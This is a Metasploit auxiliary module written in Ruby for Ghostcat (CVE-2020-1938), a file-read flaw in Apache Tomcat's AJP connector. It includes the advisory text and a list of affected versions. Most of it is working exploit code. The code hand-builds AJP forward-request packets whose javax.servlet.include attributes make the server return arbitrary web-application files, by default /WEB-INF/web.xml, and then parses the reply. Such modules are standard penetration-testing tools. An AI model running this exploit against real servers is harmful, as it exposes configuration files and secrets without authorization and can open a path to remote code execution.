1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 |
require "msf/core" class MetasploitModule < Msf::Auxiliary Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, "Name" => "Ghostcat", "Description" => %q{ When using the Apache JServ Protocol (AJP), care must be taken when trusting incoming connections to Apache Tomcat. Tomcat treats AJP connections as having higher trust than, for example, a similar HTTP connection. If such connections are available to an attacker, they can be exploited in ways that may be surprising. In Apache Tomcat 9.0.0.M1 to 9.0.0.30, 8.5.0 to 8.5.50 and 7.0.0 to 7.0.99, Tomcat shipped with an AJP Connector enabled by default that listened on all configured IP addresses. It was expected (and recommended in the security guide) that this Connector would be disabled if not required. This vulnerability report identified a mechanism that allowed: - returning arbitrary files from anywhere in the web application - processing any file in the web application as a JSP Further, if the web application allowed file upload and stored those files within the web application (or the attacker was able to control the content of the web application by some other means) then this, along with the ability to process a file as a JSP, made remote code execution possible. It is important to note that mitigation is only required if an AJP port is accessible to untrusted users. Users wishing to take a defence-in-depth approach and block the vector that permits returning arbitrary files and execution as JSP may upgrade to Apache Tomcat 9.0.31, 8.5.51 or 7.0.100 or later. A number of changes were made to the default AJP Connector configuration in 9.0.31 to harden the default configuration. It is likely that users upgrading to 9.0.31, 8.5.51 or 7.0.100 or later will need to make small changes to their configurations. }, "Author" => [ "A Security Researcher of Chaitin Tech", #POC "ThienNV - SunCSR" #Metasploit Module ], "License" => MSF_LICENSE, "References" => [ [ "CVE", "2020-1938"] ], "Privileged" => false, "Platform" => %w{ java linux win}, "Targets" => [ ["Automatic", { "Arch" => ARCH_JAVA, "Platform" => "win" } ], [ "Java Windows", { "Arch" => ARCH_JAVA, "Platform" => "win" } ], [ "Java Linux", { "Arch" => ARCH_JAVA, "Platform" => "linux" } ] ], "DefaultTarget" => 0)) register_options( [ OptString.new("FILENAME",[true,"File name","/WEB-INF/web.xml"]), OptBool.new('SSL', [ true, 'SSL', false ]), OptPort.new('PORTWEB', [ false, 'Set a port webserver']) ],self.class) end def method2code(method) methods = { "OPTIONS" => 1, "GET" => 2, "HEAD" => 3, "POST" => 4, "PUT" => 5, "DELETE" => 6, "TRACE" => 7, "PROPFIND" => 8 } code = methods[method] return code end def make_headers(headers) header2code = { "accept" => "\xA0\x01", "accept-charset" => "\xA0\x02", "accept-encoding" => "\xA0\x03", "accept-language" => "\xA0\x04", "authorization" => "\xA0\x05", "connection" => "\xA0\x06", "content-type" => "\xA0\x07", "content-length" => "\xA0\x08", "cookie" => "\xA0\x09", "cookie2" => "\xA0\x0A", "host" => "\xA0\x0B", "pragma" => "\xA0\x0C", "referer" => "\xA0\x0D", "user-agent" => "\xA0\x0E" } headers_ajp = Array.new for (header_name, header_value) in headers do code = header2code[header_name].to_s if code != "" headers_ajp.append(code) headers_ajp.append(ajp_string(header_value.to_s)) else headers_ajp.append(ajp_string(header_name.to_s)) headers_ajp.append(ajp_string(header_value.to_s)) end end return int2byte(headers.length,2), headers_ajp end def make_attributes(attributes) attribute2code = { "remote_user" => "\x03", "auth_type" => "\x04", "query_string" => "\x05", "jvm_route" => "\x06", "ssl_cert" => "\x07", "ssl_cipher" => "\x08", "ssl_session" => "\x09", "req_attribute" => "\x0A", "ssl_key_size" => "\x0B" } attributes_ajp = Array.new for attr in attributes name = attr.keys.first.to_s code = (attribute2code[name]).to_s value = attr[name] if code != "" attributes_ajp.append(code) if code == "\x0A" for v in value attributes_ajp.append(ajp_string(v.to_s)) end else attributes_ajp.append(ajp_string(value.to_s)) end end end return attributes_ajp end def ajp_string(message_bytes) message_len_int = message_bytes.length return int2byte(message_len_int,2) + message_bytes + "\x00" end def int2byte(data, byte_len=1) if byte_len == 1 return [data].pack("C") else return [data].pack("n*") end end def make_forward_request_package(method,headers,attributes) prefix_code_int = 2 prefix_code_bytes = int2byte(prefix_code_int) method_bytes = int2byte(method2code(method)) protocol_bytes = "HTTP/1.1" req_uri_bytes = "/index.txt" remote_addr_bytes = "127.0.0.1" remote_host_bytes = "localhost" server_name_bytes = datastore['RHOST'].to_s if datastore['SSL'] == true is_ssl_boolean = 1 else is_ssl_boolean = 0 end server_port_int = datastore['PORTWEB'] if server_port_int.to_s == "" server_port_int = (is_ssl_boolean ^ 1) * 80 + (is_ssl_boolean ^ 0) * 443 end is_ssl_bytes = int2byte(is_ssl_boolean,1) server_port_bytes = int2byte(server_port_int, 2) headers.append(["host", "#{server_name_bytes}:#{server_port_int}"]) num_headers_bytes, headers_ajp_bytes = make_headers(headers) attributes_ajp_bytes = make_attributes(attributes) message = Array.new message.append(prefix_code_bytes) message.append(method_bytes) message.append(ajp_string(protocol_bytes.to_s)) message.append(ajp_string(req_uri_bytes.to_s)) message.append(ajp_string(remote_addr_bytes.to_s)) message.append(ajp_string(remote_host_bytes.to_s)) message.append(ajp_string(server_name_bytes.to_s)) message.append(server_port_bytes) message.append(is_ssl_bytes) message.append(num_headers_bytes) message += headers_ajp_bytes message += attributes_ajp_bytes message.append("\xff") message_bytes = message.join send_bytes = "\x12\x34" + ajp_string(message_bytes.to_s) return send_bytes end def send_recv_once(data) buf = "" begin connect(true, {'RHOST'=>"#{datastore['RHOST'].to_s}", 'RPORT'=>datastore['RPORT'].to_i, 'SSL'=>datastore['SSL']}) sock.put(data) buf = sock.get_once || "" rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") ensure disconnect end return buf end def read_buf_string(buf, idx) len = buf[idx..(idx+2)].unpack('n')[0] idx += 2 print "#{buf[idx..(idx+len)]}" idx += len + 1 idx end def parse_response(buf, idx) common_response_headers = { "\x01" => "Content-Type", "\x02" => "Content-Language", "\x03" => "Content-Length", "\x04" => "Date", "\x05" => "Last-Modified", "\x06" => "Location", "\x07" => "Set-Cookie", "\x08" => "Set-Cookie2", "\x09" => "Servlet-Engine", "\x0a" => "Status", "\x0b" => "WWW-Authenticate", } idx += 2 idx += 2 if buf[idx] == "\x04" idx += 1 print "Status Code: " idx += 2 idx = read_buf_string(buf, idx) puts header_num = buf[idx..(idx+2)].unpack('n')[0] idx += 2 for i in 1..header_num if buf[idx] == "\xA0" idx += 1 print "#{common_response_headers[buf[idx]]}: " idx += 1 idx = read_buf_string(buf, idx) puts else idx = read_buf_string(buf, idx) print(": ") idx = read_buf_string(buf, idx) puts end end elsif buf[idx] == "\x05" return 0 elsif buf[idx] == "\x03" idx += 1 puts idx = read_buf_string(buf, idx) else return 1 end parse_response(buf, idx) end def run headers = Array.new method = "GET" target_file = datastore['FILENAME'].to_s attributes = [ {"req_attribute" => ["javax.servlet.include.request_uri", "index"]}, {"req_attribute" => ["javax.servlet.include.path_info" , target_file]}, {"req_attribute" => ["javax.servlet.include.servlet_path" , "/"]} ] data = make_forward_request_package(method, headers, attributes) buf = send_recv_once(data) parse_response(buf, 0) end end |